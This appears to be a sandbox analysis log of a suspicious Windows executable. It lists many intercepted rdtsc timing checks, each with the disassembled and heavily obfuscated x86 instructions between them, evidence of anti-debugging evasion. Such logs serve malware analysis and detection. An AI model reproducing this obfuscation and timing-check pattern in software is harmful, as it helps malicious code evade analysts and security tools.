Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500158 second address: 55001A8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76C52A035Eh 0x00000008 adc si, CF28h 0x0000000d jmp 00007F76C52A035Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push 59F9A0F7h 0x0000001b pushad 0x0000001c movsx edi, cx 0x0000001f mov ecx, 2B83F5EDh 0x00000024 popad 0x00000025 add dword ptr [esp], 1C9B8A79h 0x0000002c pushad 0x0000002d movzx esi, di 0x00000030 mov dx, 8746h 0x00000034 popad 0x00000035 mov eax, dword ptr fs:[00000000h] 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001A8 second address: 55001AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001AC second address: 55001B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001B2 second address: 55001C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C4CE142Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001C2 second address: 5500246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov di, cx 0x0000000d pushfd 0x0000000e jmp 00007F76C52A0366h 0x00000013 adc ecx, 48987648h 0x00000019 jmp 00007F76C52A035Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esp], eax 0x00000023 pushad 0x00000024 mov ax, 62DBh 0x00000028 mov ah, 51h 0x0000002a popad 0x0000002b sub esp, 18h 0x0000002e jmp 00007F76C52A0363h 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 movzx ecx, dx 0x00000038 call 00007F76C52A0361h 0x0000003d mov edi, ecx 0x0000003f pop esi 0x00000040 popad 0x00000041 push eax 0x00000042 jmp 00007F76C52A035Ah 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500246 second address: 550024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550024C second address: 550025B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A035Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550025B second address: 55002F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F76C4CE142Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F76C4CE1431h 0x00000018 pushfd 0x00000019 jmp 00007F76C4CE1430h 0x0000001e jmp 00007F76C4CE1435h 0x00000023 popfd 0x00000024 pop eax 0x00000025 jmp 00007F76C4CE1431h 0x0000002a popad 0x0000002b xchg eax, esi 0x0000002c jmp 00007F76C4CE142Eh 0x00000031 xchg eax, edi 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F76C4CE142Ah 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002F4 second address: 55002F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002F8 second address: 55002FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55002FE second address: 550032B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e popad 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F76C52A0362h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550032B second address: 550038F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F76C4CE142Bh 0x00000017 sub cl, FFFFFFEEh 0x0000001a jmp 00007F76C4CE1439h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F76C4CE1430h 0x00000026 add esi, 1D852068h 0x0000002c jmp 00007F76C4CE142Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550038F second address: 5500395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500395 second address: 5500399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500399 second address: 55003CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e jmp 00007F76C52A0366h 0x00000013 xor eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov edi, 3FE3813Ch 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55003CE second address: 5500423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76C4CE1430h 0x00000008 pushfd 0x00000009 jmp 00007F76C4CE1432h 0x0000000e adc ax, A788h 0x00000013 jmp 00007F76C4CE142Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c nop 0x0000001d pushad 0x0000001e movzx eax, dx 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F76C4CE142Dh 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500423 second address: 5500429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500429 second address: 5500448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1432h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500448 second address: 550044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550044E second address: 5500453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500453 second address: 5500486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A0360h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr fs:[00000000h], eax 0x00000012 jmp 00007F76C52A0360h 0x00000017 mov dword ptr [ebp-18h], esp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500486 second address: 55004DA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76C4CE1433h 0x00000008 xor ecx, 1C94C49Eh 0x0000000e jmp 00007F76C4CE1439h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jmp 00007F76C4CE1430h 0x0000001b popad 0x0000001c mov eax, dword ptr fs:[00000018h] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55004DA second address: 55004E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55004E2 second address: 55004E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55004E8 second address: 550050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edx, 4F98A710h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550050D second address: 550052D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1434h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550052D second address: 5500531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500531 second address: 5500535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500535 second address: 550053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550053B second address: 55005A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1434h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F76C4CE14C5h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F76C4CE142Dh 0x00000018 adc ecx, 4325C1A6h 0x0000001e jmp 00007F76C4CE1431h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F76C4CE1430h 0x0000002a adc ch, 00000048h 0x0000002d jmp 00007F76C4CE142Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55005A3 second address: 55005D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, edi 0x00000010 call 00007F76C52A035Fh 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55005D8 second address: 55005DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55005DE second address: 55005E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0060 second address: 54F0066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0066 second address: 54F006A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F006A second address: 54F00CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bl, al 0x00000010 pushfd 0x00000011 jmp 00007F76C4CE1431h 0x00000016 sub cx, DE96h 0x0000001b jmp 00007F76C4CE1431h 0x00000020 popfd 0x00000021 popad 0x00000022 sub esp, 2Ch 0x00000025 jmp 00007F76C4CE142Eh 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00CA second address: 54F00CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00CE second address: 54F00EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00EB second address: 54F00F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00F1 second address: 54F0147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F76C4CE1436h 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 mov ax, 6A8Dh 0x00000014 call 00007F76C4CE142Ah 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c popad 0x0000001d push esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 call 00007F76C4CE1439h 0x00000026 pop eax 0x00000027 mov bx, 51B4h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0173 second address: 54F0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0177 second address: 54F017D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F017D second address: 54F018C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A035Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F018C second address: 54F0190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0190 second address: 54F01A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01A3 second address: 54F01A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01A7 second address: 54F01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01AD second address: 54F01B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01B3 second address: 54F01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01B7 second address: 54F0250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d jmp 00007F76C4CE1431h 0x00000012 inc ebx 0x00000013 pushad 0x00000014 jmp 00007F76C4CE142Ch 0x00000019 push esi 0x0000001a pushfd 0x0000001b jmp 00007F76C4CE1431h 0x00000020 or ecx, 49AC2AF6h 0x00000026 jmp 00007F76C4CE1431h 0x0000002b popfd 0x0000002c pop ecx 0x0000002d popad 0x0000002e test al, al 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F76C4CE1438h 0x00000039 or ecx, 76F48B48h 0x0000003f jmp 00007F76C4CE142Bh 0x00000044 popfd 0x00000045 mov ax, E2BFh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0250 second address: 54F0275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F76C52A0507h 0x0000000f pushad 0x00000010 mov edi, ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0275 second address: 54F029A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 lea ecx, dword ptr [ebp-14h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F76C4CE1438h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F029A second address: 54F02A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02A9 second address: 54F02D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02D0 second address: 54F02D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02D5 second address: 54F02DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0351 second address: 54F037F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F773670E474h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ebx, 3154DBDEh 0x00000017 mov bl, D7h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F037F second address: 54F03A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F76C4CE14ACh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F03A0 second address: 54F03A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F03A4 second address: 54F03A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F03A8 second address: 54F03AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F03AE second address: 54F0468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1432h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d call 00007F76C4CE142Eh 0x00000012 call 00007F76C4CE1432h 0x00000017 pop ecx 0x00000018 pop edx 0x00000019 pushfd 0x0000001a jmp 00007F76C4CE1430h 0x0000001f sbb esi, 2BA04898h 0x00000025 jmp 00007F76C4CE142Bh 0x0000002a popfd 0x0000002b popad 0x0000002c jne 00007F773614F4B3h 0x00000032 pushad 0x00000033 movzx ecx, dx 0x00000036 push ebx 0x00000037 mov eax, 432A61E3h 0x0000003c pop eax 0x0000003d popad 0x0000003e mov ebx, dword ptr [ebp+08h] 0x00000041 jmp 00007F76C4CE142Fh 0x00000046 lea eax, dword ptr [ebp-2Ch] 0x00000049 pushad 0x0000004a mov eax, 33AC604Bh 0x0000004f call 00007F76C4CE1430h 0x00000054 push eax 0x00000055 pop ebx 0x00000056 pop eax 0x00000057 popad 0x00000058 push ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F76C4CE1434h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0468 second address: 54F046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F046C second address: 54F0472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0472 second address: 54F04B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F76C52A0360h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F76C52A0369h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04B5 second address: 54F04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04BB second address: 54F04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04BF second address: 54F04DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04DF second address: 54F04E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04E5 second address: 54F0526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F76C4CE142Eh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, dx 0x00000016 jmp 00007F76C4CE1439h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0526 second address: 54F0536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A035Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05DA second address: 54E0E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 70h 0x00000005 mov esi, 148EE6AFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F773614F494h 0x00000013 xor eax, eax 0x00000015 jmp 00007F76C4CBAB5Ah 0x0000001a pop esi 0x0000001b pop edi 0x0000001c pop ebx 0x0000001d leave 0x0000001e retn 0004h 0x00000021 nop 0x00000022 jmp 00007F76C4CE1422h 0x00000024 cmp eax, 00000000h 0x00000027 setne cl 0x0000002a jmp 00007F76C4CE1422h 0x0000002c jmp 00007F76C4CE1422h 0x0000002e xor ebx, ebx 0x00000030 test cl, 00000001h 0x00000033 jne 00007F76C4CE1427h 0x00000035 jmp 00007F76C4CE1556h 0x0000003a call 00007F76C94733ACh 0x0000003f mov edi, edi 0x00000041 pushad 0x00000042 mov cl, DEh 0x00000044 call 00007F76C4CE1433h 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E22 second address: 54E0E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E2E second address: 54E0E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, C6h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E35 second address: 54E0E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E4A second address: 54E0E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E4E second address: 54E0E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0E52 second address: 54E0E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
